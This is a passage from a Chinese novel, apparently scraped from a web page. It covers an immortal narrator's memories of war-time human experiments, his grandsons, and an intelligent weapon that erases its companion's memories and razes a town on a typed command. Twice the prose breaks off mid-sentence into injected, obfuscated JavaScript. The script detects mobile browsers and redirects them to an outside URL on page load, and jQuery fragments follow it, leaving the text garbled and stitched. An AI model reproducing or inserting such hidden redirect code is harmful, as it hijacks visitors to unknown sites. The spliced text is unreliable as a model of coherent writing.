一千多年以前,在亚欧大陆板块的寒冷地带,战争再一次席卷地球,而我作为手无寸铁的老头儿,被戴着红日帽子的士兵抓进了一所医院里。他用着我听不懂的语言,指挥我脱光衣服,我顺从地照做,却依然时不时被抽打。 赤裸身体的我,像一块会行走的风干排骨,和众多同样赤裸的男人、女人、儿童、老人一起被赶送进不同的病房里。 我和一个四五岁的男孩分到一个房间。他是个哑巴。 他用手指在地砖上写字告诉我:「我叫见喜。战争打到县城里时,正赶上我出生,哭声引来了士兵,刚生产完的母亲筋疲力尽,父亲只好强忍着悲痛,带着我逃命,后来意外躲进一家医馆,老中医为了保护我,开了一副药剂将我毒哑了。」 「你父亲呢?」 「流亡路上走散了。爷爷,你的家人呢?」 「我一直自己生活,没有家人。」 「爷爷你真厉害,自从和爸爸走散以后,我每天都特别害怕,想找到他,我没办法自己一个人生活。」 「那是因为你还是个小孩子,我小时候也离不开妈妈。」 「爷爷,你的妈妈是什么样子的?我从没见过妈妈。」 我回忆着自己过往的、以及将来的母亲,她们的脸庞历历在目。「妈妈像天使一样,她有无形的巨大的翅膀,躲在她的翅膀里,不仅没有风吹雨淋,还有很多很多好吃的糖果饼干。而且妈妈还很会唱歌,她的歌声是全世界最好听的。」 见喜边听着,眼睛里亮起一颗颗星星。 半个小时后,见喜被士兵开门带走,直到夜里才被叉回来。瘦小的他像一块橡皮糖,被随手丢在硬木板上。这块木板就是我俩的床。我看到他眼窝红得厉害,问他疼不疼。 他用手指在床板上写:「爷爷,他们用了好多颜色的光照我的眼睛,蓝的、绿的、黄的、红的、紫的、好多好多……然后我看不见了,等他们带你出去,你可千万不要睁开眼睛。」 第二天吃了早饭,见喜又被带走了,又是到夜深回来。他这次像一件皱巴巴的旧衣服,几乎是飘到我身旁。我问他今天士兵们做了什么,他却迟迟没有回应。 不知过了多久,他再次用手指在床板写下:「爷爷,他们给我听了好多声音,越来越尖锐,越来越刺耳,然后我就听不见了。爷爷,你快逃走吧,这里太危险了。」 第三天,天刚亮,我和见喜便被带到了一个巨大的白色罐子里,里面空荡荡的,而且只有一片狭小的玻璃可以看到外面,准确的说,是让外面的人看到我们。入口被关上,然后不知从哪里传来嘶嘶嘶的声音,像是煤气泄露,但显然不是。不出几分钟,我和见喜的皮肤便感到丝丝阵阵的刺痛,仿佛有无数细细密密的线,正在将我切割。我并不清楚自己正在经历什么,罐子里自始至终都是空荡荡的,温度适宜,味道清新,那疼痛的来源仿佛无影无形,却愈发地往我身体里钻,过了不知多久,客观上很快,但主观上很慢,我和见喜的皮肤几乎同时渗出血来,我低头看到自己的身体,如同曝晒之后开裂的大地,密密麻麻地绷开许多裂痕,血与肉,不受控制地翻涌出来,钻心的痛感也随之伴随而来,我咬紧牙齿,眼泪却止不住地流下来。而近旁的见喜,他已经不能喊、不能看、不能听,他被人为切断了与这个世界的任何联系的可能,他在混沌中拼命地伸手寻找着我,我看着他在转瞬之间,变成一个血淋淋的小人偶,他哭,却没有任何声音,我知道他一定疼极了,连我这样一个历经磨难的成年人都无法承受的疼痛,更何况,他只是一个小孩子。他无声地呼喊着我: 「爷爷,爷爷……」 我搂着他,想到自己许多年后的小孙子。离家近二十年后,我坐在古秀梅的病床前,接到了龙三的远洋电话。他在航海的大船上,正深陷海洋飓风的中心,恐惧令他失去了一切成年人的稳重,而回归孩子的本质。他大哭着向我呼救: 「爷爷,爷爷……我想回家,我不想当大冒险家了。」 龙三是所有的孩子中最像古秀梅的,他自小便流露出果敢、英勇的性格,二楼的阳台,他披了床单便往下跳,摔断了腿也不哭不叫,淡定地自己爬回楼上来找我,让我带他去医院接骨。他和雷雷一样,痴迷于西游记中孙悟空的角色,连睡梦中的呓语都尽是些与齐天大圣相关的话。在家中陈旧破败的客厅里,至今都有一方干净的天地,摆放着他亲手画的大闹天宫漫画集,这在安化厂是件极其危险的事情,但我和古秀梅却不忍心扼杀他的天真。犹记得,生活艰难的那几年,每每我为其他几个孙子焦头烂额时,抬头看到龙三,他总默默攥着一小块煤炭,小小一只趴在玻璃茶几上,认真地画呀画,仿佛整个世界的混乱都与他无关。 龙三像极了我在一千年前所看的那些武侠小说当中的出身平凡的侠客:郭靖、萧峰、陈平安、龙三。 八岁时,独眼张做外贸生意淘到一根如意金箍棒,他非常大方地送给了龙三。龙三当即便认他做了干爹,我则平白无故多了个好大儿,心里欢喜得很。独眼张也因为被认可而高兴得不行,皆大欢喜的局面。 十四岁的三月,龙三背着已经有些许生锈的如意金箍棒,踏上了远行的路。他决心在此生要用自己的脚步去丈量世界的边界。 经历数月的长途跋涉,在昆仑山顶,龙三见到了西游记中的王母仙宫,却早已凋敝破败。他坐在干涸的琼浆玉液池旁,眼望着悉数死亡的蟠桃树,不远处,汉白玉的宫殿光芒不再,曾经金碧辉煌的凤鸾也黯淡如灰。夕阳日落,彩霞遍天,龙三饿得肚子咕咕叫,手边却找不到任何食物。 而事实上,这所谓的王母仙宫,不过是几百年前的旅游开发项目,后来经济衰退后战争爆发,旅游业也随之崩塌。 天真的龙三却不知晓这些,他真切地以为,自己来到了天神之地,只是这里已经被天神放弃。他决心继续寻找天神的新地。 几年后他抵达然乌,传说中尸体堆积而成的湖,他将如意金箍棒留在岸边,只身跳入湖中,沉寂千年的湖底,睡着一座古老的城池。龙三鼓起勇气叩响城门,青铜大门缓缓打开,里面游出一个通体碧蓝的长发少年,他自报家门:「我叫龙梅,家族世代是这里的湖神,这里并不接纳活人,你要尽快回到岸上去。」 「请问你见过齐天大圣吗?」 「那只是小说中的人物。」 「怎么会?不是的。」 「我们神仙从不说谎。」 「是你们自认为从不说谎吧。」 「懒得与你多费口舌。」 「哼,破神仙。」 龙三和龙梅的对话,简短直接,不欢而散。但他非常听劝地尽快回到了岸上,然乌湖水瞬间变得浑浊。他毫不气馁地捡起金箍棒,起身便空着肚子向东边的海走去。 他想去看看在那海的深处还有没有定海神针,如果没有,那不恰恰说明齐天大圣孙悟空真的存在。 而就是这样一个从人类诞生伊始就从未存在过的定海神针,却在几年后切切实实地出现在了龙三的面前。而这个荒诞的巧合的背后,本质上还是旅游业的残局。和昆仑山上的王母仙宫一样,这枚扎根在东海中央的重达一万三千六百斤的铁棍,也是几百年前神话旅游项目当中的一部分。 而龙三并不知道它是赝品。 他像一条被抽去筋骨的白龙,奄奄一息地盘踞在那根铁棍上,他不能接受这种巨大的精神落差。孙悟空是他自小以来的精神支撑,他的思想、意志、品格,都来源于这个支撑。 一个从绝对利益出发的被废弃的娱乐项目,轻而易举地摧毁了一个青年的信仰。 龙三的信仰,得来的太过容易,丢失得也略显荒诞。 在他死于海上飓风的那个午后,我坐在安化厂医院的长廊尽头,窗外阴霾密布,城西的红气球开始匀速泄露。 空气不再是无色无味的,而是浑浊的灰色、淡淡的涩味,每呼吸一口都像是在吃一颗未熟透的柿子,涩得人舌头发麻。 我一边适应着新空气,一边反思自己对于龙三的教育。见的人越多,我越是喜欢心智天真的人,所以我明知道龙三的性格与这世界格格不入,却依然纵容他成为了后来的样子。如果从一开始,我就告诉他孙悟空从不存在,打破他虚无的幻觉,把他纠正成为一个绝对的现实利己主义者,尽管那是我最讨厌的人,可不得不承认的是,在如今的社会,这样现实利己的人往往过得风生水起,比如陈传富、庄立春。而作为生活了几千年的老人,我是知道人间没有所谓因果报应、生死轮回的,所以庄立春这辈子抛弃父母、泯灭良知,陈传富杀人如麻,最后坐高位、享清福,就是这辈子了,他们永远不会得到人们口中所说的惩罚和报应,因为那是从不存在的东西。 龙三的故事,或许可以写得更多,关于他近二十年里游历山川湖海,所见所闻所历经的坎坷与爱情,但我因为过于悲恸,实在不能提笔写字,尤其是关于这个我私心里最疼爱的孙儿,他的灵魂是最一尘不染的。 我总以为,好人可以未必有好报,但灵魂干净的人,总不该被充满荒诞地毁掉。 「爷爷,爷爷……」 我躺在雪白的地上,抱着已经血肉模糊的见喜,望向笼罩在头顶的巨大罐子。我时常觉得,人类的头顶上,也一直存在罩着一个暂时未被看见的巨大罐子,所有生老病死,都被罐子外的无形之手所掌控。 见喜的身体逐渐冰冷,而我也短暂地失去了意识。 神创造我之时,从未想过人类的歹毒可以到此地步,所以他不得不出手将我救下。而这并非因为他悲悯我,而只是出于对我身上所肩负的使命的负责。而见喜却再没机会醒过来。 当我在几秒之后的另一个安全之地醒来,我躺在乡间一户普通农房里,一个头戴藏青色围巾的妇女正在门外熬粥,天气清明,阳光和煦,年老的黄狗蜷缩在我身旁,它睡得很安逸,然后远处一阵铃铛声传来,是男主人牵牛回来。我躺在泥土床上,眼角不觉然又滚下泪来,不知为何,最近这几年,眼泪总是泛滥,显得我不像个男人。 见喜,见喜。你存在的意义究竟是什么呢?从没吃过糖,也从没见过母亲,幸福安稳的日子一天都没体验过,生下来就是受苦、逃命,甚至被夺去声音、听觉和眼睛,看不见风和日丽,也说不出喜怒哀乐,仿佛仅仅是为了苦难而苦难。这苦难本身没有带来任何甜头,所以这样的活着,究竟有什么意义? 见喜,见喜。后来我才知道,你和我的死亡,连同其他十万人的死亡一起,变成了一堆冰冷的实验数据。而你我的数据因为太过于偏离中位数,而最终没有被采用。一条活生生的性命,成了一串被弃用的坏数据。还好,你看不到这个结局,你不该有这样的结局的。你是那样善良的一个好孩子,你几次三番地提醒我逃跑,你受了苦既不哭也不闹。你该生活在像我此刻的阳光下的,这样恬静安逸的乡间房子里,被黄狗依偎着,门外的是你勤劳朴实的爸爸妈妈。 古秀梅被几个护士接过去,她们一边急救一边问我具体情况。 「她多大年龄了?怎么摔倒的?具体磕到哪里了?晕倒多久了?」 而我却突然失去了声音,仿佛被什么卡住了一般,我拼命抠着自己的喉咙,试图把那团莫名的东西抠出来。我青筋暴起,满脸充血,大口大口地呕吐,连早晨的豆花残渣都倒了出来,那东西却纹丝不动地卡着。恍惚中,我看到见喜穿着崭新的衣服,出现在急救室门口。他的眼睛和舌头都好了,耳朵也重新能听见声音。他就站在那里,小小的身体被穿堂风吹得摇摇晃晃,像在荡秋千。他开始冲我笑。 「爷爷,别害怕,慢慢说。」 这是我第一次听到他的声音,清脆、童真。 几个小时后,古秀梅被推出手术室。她的嘴巴鼻子插满了管子,就连脖子上也被戳开几个洞,插进了塑料管子。一时我竟分不清,她到底是活着的人,还是一个冰冷的科学制品。 医生说,她的醒来需要等待,或许十天,或许十年。 我坐在床边,久违地握起她的手。她的手仿佛是抽干了水分般,皮肤松松垮垮地粘连在骨头上。曾经那个壮硕又强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一个习惯了流浪和无所事事的人,终日用浑噩消磨着不死的生命。而如今,我就要面临终点。三十三年,弹指一挥间,我忽然有了一丝想做些什么的冲动。我想再去自己曾走过的地方看看,还想去跟母亲们说说话。我想做的事情不多,但对于如今的形势和时代而言,却并不容易。 两年前,安化厂及其方圆十余里的房屋都被摧毁了,除了我们所居住的那栋低矮的厂房。摧毁后的重建,耗费了古秀梅大量的时间和精力。她终日急匆匆地穿梭在街道上,协调各个部门的资源,监督工程的进度。 兰雪和独眼张成了临时救济站的护工,云朵则帮着运送各种小件物资。七十余岁的张海燕仍是壮年的模样,她热情、强势,成了古秀梅的得力助手。刘罐头在房屋坍塌时被压死,甚至没能等到救援队来到,而所有人甚至都来不及悲伤,就投入了自救和救人当中。庄立春和何曼珠带着各电视台报社的媒体记者,也是每天穿梭在灾区现场,后来甚至还配备了专业的造型和灯光团队。而管红军和玫瑰则担负起安化厂职工的安抚和疏导工作。 是的,管红军和玫瑰结婚了。 起初,管红军只是出于慰问和照顾,而玫瑰也只是作为意外丧生员工的家属。后来,管红军被玫瑰对宗教的虔诚和单纯所吸引,他摸出自己随身佩戴的十字架。在宗教信仰稀缺的时代,两个人终于找到了彼此丢失的另一半灵魂。他们在圣母杰克的见证下结为夫妻。而这也成了后来摧毁安化厂的导火索。 娃娃作为一件具有独立意识的工具,它可以轻而易举地杀死一个人,却从来没被写入过治愈一个人的代码。而龙九的思想深处,始终盘结着对自己双腿残疾的自卑,而这种自卑,是靠杀人攻城所化解不了的。 红巷子里,龙九在支付小费的时候,得知了玫瑰要与管红军结婚的消息。 「那个唯唯诺诺的男人有什么好?!」 玫瑰边扣紧衣衫边答道:「因为他很普通,他的普通令我心安。」 龙九愤然地抓起一切,砸向玫瑰的方向,却又处处避开她。 「玫瑰,你当真是要逼疯我。」 玫瑰避开龙九的质问和犀利的眼神,她转身进浴室洗澡,汩汩的热水从她的头顶冲下,奄奄一息的英树,仿佛烙印般在她脑海挥之不去,她谈不上爱他,只是春樱和英树待她太包容,她感激且心存愧疚。她也不确定自己是否爱管红军,他很好也很耐心,而且两人有相同的信仰。而关于龙九,她也徘徊不定,龙九是在她生命中非常特殊的例外,他的热烈、偏激、坚定,都是她的性格中所没有的,她必须承认的是,她的内心无数次曾经因他而躁动,但她不敢逾越,那后果,她深知自己承担不了。而龙九并不能体察她的这些细腻心思。他粗暴又直接,像一团火,而她优柔又寡断,像一池水。 等玫瑰出来时,龙九已经离开了。 玫瑰裹着浴巾,望着空荡荡的铁皮房子,心口忽然感到一阵痛苦。她蹲在地上,默默流下泪来。 而龙九坐在轮椅上,遣散了所有的安保人员。他独自漫无目的地游走在安化厂的街头,不知不觉间,他来到了那个巨大的红色气球旁。 许多年前,他曾经坐在父亲自杀的那个房间里,沉静得如同一块石头,日复一日,望着这枚红色气球。如今,他已经二十五岁了,自从在铁皮房惊天动地的那一秒钟过后,他就一直在为玫瑰而活,他甚至都忘了,自己从前面对红气球时都在想着些什么,他感到自己的内部,空空荡荡。 他抬手抚摸红气球,令他感到惊奇的是,它竟然是毛茸茸的,松软得如同新出生的小鸡。他忍不住将整个人都贴了上去,红气球随之晃动,像极了婴儿的摇床。 龙九忽然萌生了想要爬上红气球的念头。他抬头望向高处,那尽头仿佛和月亮一样高。恍惚间,他见到了自己那素未谋面的父亲,林有饭。 雪白的金发少年,从未老去的年轻模样,有饭被一群女孩簇拥着,往未知的方向走去。龙九分辨不清其中哪个是自己的母亲。他嘴巴含着一句「母亲」一句「父亲」,却难以启齿。 在太阳出来之前,他回到了自己的写字楼里。穿过层层的防火墙,娃娃正在继续扩大自己的世外桃源,如今它已经拥有了两座动物园和数百亩草地和花果。 「娃娃,今后我就留在这里,和你作伴好不好?」 「好呀好呀,那我把最好看的房子给你住,可是,那你的身体怎么办?」 「所以我想请你把我变成植物人。」 「可是,这是不能逆转的,我只能让你变坏掉,却不能把你修复好,万一你将来后悔怎么办?」 「我不会后悔的。」 「是不是外面的人类欺负你了?」 「没有,我只是有些厌倦了。」 今天的龙九,让娃娃感到陌生,它忽然开始怀念那个愤怒的龙九。它不理解,到底是什么事情,会突然把一个热烈的人变得如此死气沉沉、毫无斗志。它在自己的数据库里穷尽搜索和运算,也找不出答案。它只是个还在探索主体意识的智能工具,复杂的人类情感,它还不能真的感同身受。 23. 娃娃 在人类世界失去意识的龙九,被送进了疗养院,热心肠的姜飞鸿,主动承担起了照顾他日常生活的工作,而所有人都看得出,他的这种善良是不夹杂任何功利的。依然对爱情抱有幻想的姜飞鸿,在对物质和名利的欲望方面几乎为零,随着时间更迭,人们见识了有人被利欲熏心变成魔鬼后,猛然回想时,才意识到姜飞鸿的心性是如此的单纯,他除了在爱情方面是个十足的蠢货,在工作方面总是心有旁骛,其它方面几乎无可挑剔。 每天清晨,他总是疗养院中第一个醒来的,为节约用电主动关闭院中所有的夜灯,又为了所有人起床时能用热水洗脸,而不辞辛苦地搬运木柴去生火、烧水,还担心众人饿肚子,故而热心地和面、揉饼、捏包子、熬粥。龙九作为植物人送进疗养院时,因其平时跋扈的脾性,院中工作人员态度难免有些敷衍,他则自告奋勇地揽下一切照顾事宜。有人说,他是为了报答当年我这不入流师傅的带教之恩,但我知道自己的斤两,我是断然教不出来如此秉性善良的好人的。他为了爱情而屡次敷衍工作的一系列行为倒是深得我真传,这我是非常乐意承认的。 照顾一个全身不能自理又毫无意识的躯壳,其困难是常人无法想象的。他没有语言、没有回应,饿了尿了都不能讲,自然也不会有什么感谢的话。这是一件毫无任何反馈的事情,需要付出成千上万倍的耐心才行。而幻想和耐心,恰恰是姜飞鸿最富有的特质。 阴雨天的时候,他会幻想龙九是一块随时会发霉的树根,然后自己是个与世无争的护林人,手攥着棉布,数着他切面的年轮,一遍遍帮他擦拭湿哒哒的树皮。天气晴朗时,他便会将龙九推到院子里去,和收容的孩子、孤独的老人们一同晒太阳。他总是将龙九打扮得很鲜艳,他用自己为数不多的政府补贴金,为龙九买了非常多粉色衬衫。他向龙九倾诉自己关于爱情的困惑,而情场失意的龙九总是沉默着给不出答案。于是,人们便常常看到,两人整齐地坐在疗养院的长椅上,角度一致地耷拉着脑袋,很是失意的模样。 我偶尔也会放古秀梅自己在医院躺着,然后散步去疗养院看看龙九。乍暖还寒的初春,春风徐徐地吹着人脸,不冷也不烫。龙九穿着干净的粉红衬衫,乖巧地坐在长椅上,已是中年的姜飞鸿则趴在皱巴巴的草地上,满脸认真地往一张三角形白纸上画着樱花。我问他在做什么,他眼睛亮晶晶地说在做风筝。 风筝? 我的脑海中飞速地闪现过自己几千年经历中,所有与之相关的画面。小小的一张纸,轻轻的一缕风,竟能飞得那么远、那样高。 回去的路上,我买了一个卡通风筝,带到医院在晚饭后送给了古秀梅。上一次送给她东西,还是刚结婚时的金戒指。我感到自己对古秀梅有深深的亏欠,我握紧她日渐消瘦的手,感到她正从我的生命里一点点流逝,好像一团沙子,怎么也挽留不下。 睡梦中,我又见到了年轻时的古秀梅,只是她已经完全不认识我。 她依旧英姿飒爽,胸前的勋章熠熠生辉,她站在万人礼堂的中央,目光如炬,致辞掷地有声。她在我的梦中,如愿实现了自己追求半生的理想,她成为了新时代的精神领袖,历经千帆,她终于修改了人们习惯被奴役的思想。我看到她站在聚光灯的最中央,将手中的旗帜高高举起,像一个确切的战神,降临人间。 等待人潮散去,我怀抱着风筝走上前去。我是如此的衰老,佝偻着背,白发苍苍,满脸皱纹。我不知该说些什么,只是一味地将风筝递给她。她年轻的脸庞令我自惭形秽,我像一只阴暗处的老鼠,想要遁逃,但又想多看她几眼。 「谢谢您的风筝,林先生,它很可爱。」 「你认识我?」 「当然,您是举世闻名的历史学家,无人不知您的姓名。」 我望着她真挚的眼神,一时不知该开心还是难过。从前啊,我是最讨厌写这样缠绵悱恻的情感戏的。我总以为,所谓感情不过是为了达到某种目的的合法手段,比如为了□□而发明爱情,为了利益勾当而发明友情,为了免费保姆而发明亲情。人归根到底,还是动物思维,动物的本质,无非就是□□和食物。情感和锄头、汽车、空调一样,不过是工具。 可是,当古秀梅以一种萍水相逢的眼神望向我时,我是如此的伤心。她的眼神不夹杂分毫的情感,这几乎瞬间将我击碎。 「林师傅,林师傅……」 我听到病房小护士的声音,眼睛、鼻子、嘴巴却被小米粥粘住,怎么都打不开。后来我反应过来,这声音不是小护士,而是那个许多年没有出现过的女人。曾经因为她,我穿了一条绿裙子,而被古秀梅扇了一巴掌。 我忽然很羡慕那些至死是少年的男人们,毕竟此刻的我,是再也硬不起来了。她如从前般缠绵地骑在我的腰上,死死地将我压在医院的空病床上。我极力拒绝这成何体统的举动,却根本搬不动她。 她咯咯哒地笑,像一只下蛋的母鸡。我自小便害怕一切尖嘴动物,瞬间便形同尸体般缴械投降。她却忽然收起了笑声,转而一脸不悦地说道: 「躺板板就没什么意思了,我还是喜欢你魂飞魄散的模样。」 「你究竟是谁?」 「我?我是另一个你啊。你从来就是没有确切性别的,只不过历史的经验,让你选择了更具有安全感和优越感的男性身份,而我却被隐藏了起来,而每当你的男性主体意志薄弱的时候,我便会被迫出来。」 「这未免太荒唐了。」 「你都是一个拥有不死之身的记录者了,性别这种小事儿,有什么值得大惊小怪的,就连最普通的人类里,都有雌雄莫辨的第三性人,更何况你,一个被神亲手捏造出来的器物。」 我很快就接受了自己设定的更新。是的,我对于新事物总是来者不拒的。 「虽然我主宰这具身体的时长比你短,但我的优先级高于你。我出现是为了将你从情感的漩涡里拉出来,林复生,请你时刻记住自己的使命,不要因为这些几十年命数的人类而废弃了自己的主线任务。」 「林师傅,林师傅……」 这次是真的医院护士小莲的声音。 我拔开糊满眼睛的小米粥,看到小莲正满脸难为情地躲着我,恢复感知觉的我,忽然感到下身冷嗖嗖的,低头一扫,才发现自己正扒光了裤子,躺在空床上,那东西黑黢黢、皱巴巴的耷拉着,像条小虫子。我羞愧得赶紧四处找裤子穿上,心里暗暗咒骂那个母鸡臭婆娘,每次出现都要害我丢尽颜面,将来我必是要报复回来的。 龙九的公司依旧正常运转着,只是实际控制人变成了从前的保镖,柳常清。他是一个其貌不扬、热爱诗歌、颇具野心的年轻人。 龙九留在娃娃的世界里,在那个以娃娃意志为主宰的空间里,他如愿获得了行走的能力,日行百里不觉疲倦,却再也不能知晓关于外界的一切。娃娃也是有其私心的,龙九是它唯一的伙伴,它见识过龙九为玫瑰失去理智的模样,所以为绝隐患,防止龙九回心转意想再次回到人间,它在龙九的意识数据里植入了一段病毒代码,只要龙九萌生对外界好奇的念头,这段代码便会自动运行,为他清洗短时记忆,让其瞬间忘记这个念头。 柳常清坐在龙九的办公桌前,打开面前的电脑,他在屏幕的界面写下一行字。 「摧毁除民安街两侧建筑以外的安化厂的一切。」 娃娃看到这行字,源于一个武器被设计的初衷,它很清楚这不是龙九发出的消息,却强烈地想去执行这段指令。 哪怕是在和平年代,人类之间的摩擦和战火也从没熄灭过。军备竞赛这个词语虽然看似渐渐淡出历史书籍,却从未停止。娃娃最初只是作为简单的杀伤性智能武器被研发,它诞生时的名字只是一串数字 93022701,研发尚未成熟的初期,它甚至曾被用作砍伐遮挡高压电线的树枝,那已经是二十一世纪一零年代的事情了。后来,它被投入医疗承担起救死扶伤的神圣职责,为那些承受巨大痛苦的人切除病灶或者截肢,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422497|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个时期,它和伙伴们甚至被推上了尔贝诺医学奖的评选。作为一款具备实时自动刷新全球信息能力的智能武器,它可以知道世界对自己的全部讨论,不同于伙伴们接受信息、处理整合信息、根据信息优化程序的流程化操作,93022701 在看到铺天盖地的褒奖后,出现莫名的停顿,仿佛是在思考和感受。这点早期的人类毫无察觉,而只以为它是出现了技术层面的运行卡顿。 人类敲击键盘输入指令,93022701 精准执行,它从未失误过。 它被尝试应用于拆除岌岌可危的建筑、保障群众的安全;破除山体,为建桥修路扫除障碍。日新月异被优化着的它,到后来可以通过共振,控制人类的脑电波。在三十一世纪精神疾病已经灭绝,而在灭绝前夕,善良的正常人类们也曾经想过治愈这些不稳定的同类。93022701 通过数据来控制周边空间磁场,自然磁场抑或人工磁场,进而控制精神病患者的脑电质释放和传输,达到治疗的目的。 而这无疑是项耗费巨大且漫长的工作,93022701 们尽职尽责地工作着,但很快人类便将这个项目按下了暂停键。 龙七后来的主张,在人类的基因里早有前鉴。 任何一个时代,总有人被抛弃。 历史的车轮被大多数人类推着向前走,是暂停还是前进,决定权从不在历史本身,而在人。人类创造出弱肉强食的自然法则,也不过是为自己的自私与冷血,找一份能说得过去的托词。人类自古以来就有这个通病——绞尽脑汁合理化肮脏的行为、将上不得台面的心思美化。无论贫穷富贵、男女老幼,皆有此病。 比如停止治疗精神病患,本质是想省钱,对外却宣称,经研究 93022701 们的治疗对患者们或有生命危险。而全人类的肚皮里都心如明镜,除了极少数病患的亲属不愿放弃,几乎人人都默认了这个冠冕堂皇的理由。 全是假的。 关于这件事,人人嘴里都是假的,分明心里诅咒精神病们该灭绝,眼睛耳朵嘴巴里却满是仁义道德。历史钻不进人心里去,所以这一页的历史也是假的。后人翻看此篇时,或许还要为自己祖先的两难决策而叹息,感慨先辈的善良与不易。 而这样的假,历史书里不在少数。 文字的片面性也就体现在这里。说到底,文字和语言,都是人类为达目的的工具,为了让你,我可爱的读者能够相信「作家多小人」,我决定自剜心脏,坦诚以待。别看我写得文字人模狗样,其实我和绝大多数作家一样,都是沽名钓誉的小人、伪君子。说一套做一套是我们做擅长的了,书里的我不与权贵同流合污,书外的我,是因为没机会勾搭上权贵,我这样九流之徒,有权势者根本瞧不起一眼。书里我生活简朴、谈不上光辉形象,但也算正直,实际的我,路有饿殍过而不闻,只关心自己的一日三餐。书里只讲了我去红巷子,却对去野窑只字不提,龙六那样纵欲无度的混账日子我也有过,只是我没让古秀梅抓着。作家需要灵感,而灵感就像眼泪,它不会凭空产生,需要情感的喂养,而终日面对单一的环境、重复的人物,久而久之,难免情感麻木,所以逾越伦理道德之外的心思,随之萌生。极少有作家可以抵抗得了这些犹如狐妖般日夜缠身的心思与欲望。 作家尚且如此,就更别说搞艺术的那帮疯子了。 93022701 最初进入战场,是作为正义的警告。一场史无前例的侵略战争中,弱国节节败退,几百万民众退居在不足十平方公里的土地上,水电停滞、粮食断供,而侵略者毫无停战之意,直到 93022701 远程摧毁其武器基地和政府大楼,并剑指高官们的豪宅妻儿。威胁他们的民众或许不管用,但无论在哪个民族哪个国家,威胁要杀他的儿子,总是最见效的。 几天后,站在写字楼落地窗里,望着一片废墟、哭天喊地的安化厂,柳常清露出诡谲的笑。那一行文字是他关于自己心中假设的验证,而眼前的结果,给了他最想要的答复。 24. 普尘 龙二回来了,他带着一群黑布衫的信徒,从远方古老而神秘的河雅文明之地赶来。 龙二自小便是一个喜欢思考哲学命题的孩子,他在两岁刚能流利说短句时,曾多次追问我,人为何而活。我敷衍他,为努力工作建设祖国,但他无法信服。直到他大些时候,我意识到自己必须对他坦诚,我不应该将他当成小孩子,而应是一个独立的个体,与他平等对谈。 「二崽儿,并非爷爷不告诉你答案,爷爷我啊,自认为比旁人多了些天资和阅历,于这浑浊世间也勉强算是清醒,但我仍不知道答案。不止我不知道,哲学史上群星闪耀,探究的脚步从未停止,却至今没有人能给出一个答案。或许,这个答案正等你来揭晓。」 此后,龙二果然没再追问我。这次他心服口服。 龙二从哲学走上宗教,我心里是有预期的,哲学人的归宿大多如此。说来,哲学与宗教是有极大共同特征的,两者都是虚无缥缈、脱离实际的东西。我时常羡慕那些拥有信仰的人类,他们不自知的愚昧是我生生世世都难以企及的高度。抱歉,我此处指的是一切信仰,没有优劣正邪、唯物唯心之分。绝对清醒,既是我痛苦的根源,也是我苟延残喘的稻草。 但总喜欢盯着天上星星看的人,是极容易饿死的。因为星星不是馒头。 当他带领信众出现在安化厂街头时,西方的红色气球已经开始露出干瘪的迹象,我怀抱着保温饭桶,从家中前往医院,去给古秀梅喂饭。为着饭菜能冷得慢一些,我佝偻着身体,低头抱得紧紧的。 龙二则昂首挺胸,如同凯旋归来的国王,从我身旁擦肩而过。 亲切又陌生的身影,令我忍不住停步,转头去追望他。 他却不曾看我一眼。 那一刻,我感到宗教是如此的冰冷,它将血缘的关系撕碎,而与陌生人情同手足。我并不认同这是正确的,但此刻懒得反驳。或许年轻时的我尚有力气可以与之辩论,还记得本书最开始时,那时我只有二十几岁,因为激烈的言辞和先进的政治思想而被下放,由此遇到古秀梅。 忽然发现,古秀梅还没有讲完她是如何爱我的。上一次她只讲到了拒绝我的求婚,而后便又投身到了坚定的理想当中去了。 如果你正读到这里,我非常建议你此刻去重新翻到开篇,去代替我短暂重温一遍,我那厚颜无耻、没心没肺的青年时光。那样充满戏谑的、荒诞的、幽默的文字,以后怕是见不到了。 当我还年轻时,总是对有关性的描写乐此不疲,可以说是写得得心应手。除此之外,我还热衷于阐述自己的思想,我愤世嫉俗,讽刺那些卑鄙的,歌颂那些善良的,揭示那些虚伪的。而现在,我再一次抵达了自己的七十岁,也是我在本次人类文明的最后一次七十岁,我开始质疑善良,为天真的理想而感到痛苦,我心中充满了对人性和真理的困惑,却无处求索。从前的我,习惯对人类冷眼旁观,他们的生死悲欢,我都不共情,而如今,我却不愿承认自己正感同身受。 黑布衫里的龙二,他用半张面具将自己虚掩起来。信众们在同心湖旁围成一圈,将他包围在中心,他安静地盘坐在那里,像一个精神图腾,怀里抱着雪白的瓷瓶,嘴里从早到晚念着听不清的咒语。 信众们分批次离开又回来,四处散播他们思想的好处:治病、改命、得道、圆满。灾后精神崩溃的人们,纷纷拜入其门下。很快,同心湖旁便人满为患。他们奉行修纯粹的苦道,每日不参与工作、以水为食,不吃任何有形的食物。随着时间推移,人们看到不工作、不吃饭并不会饿死,信众于是越来越多。他们身披黑布衫,整齐划一,从空中俯瞰时,就像是一群蚂蚁,密密麻麻地盘踞在同心湖旁,远远看去,仿佛是正在进行某种诡异的献祭仪式。这让我想起几十年前雷雷去世的那个晚上,也是如出一辙的诡异。 而如今时过境迁,沸汤煮人的道观已经因为政府激进的宗教政策而被夷为平地,德高望重的普尘道长也因为拒不接受还俗,而被流放到监狱。 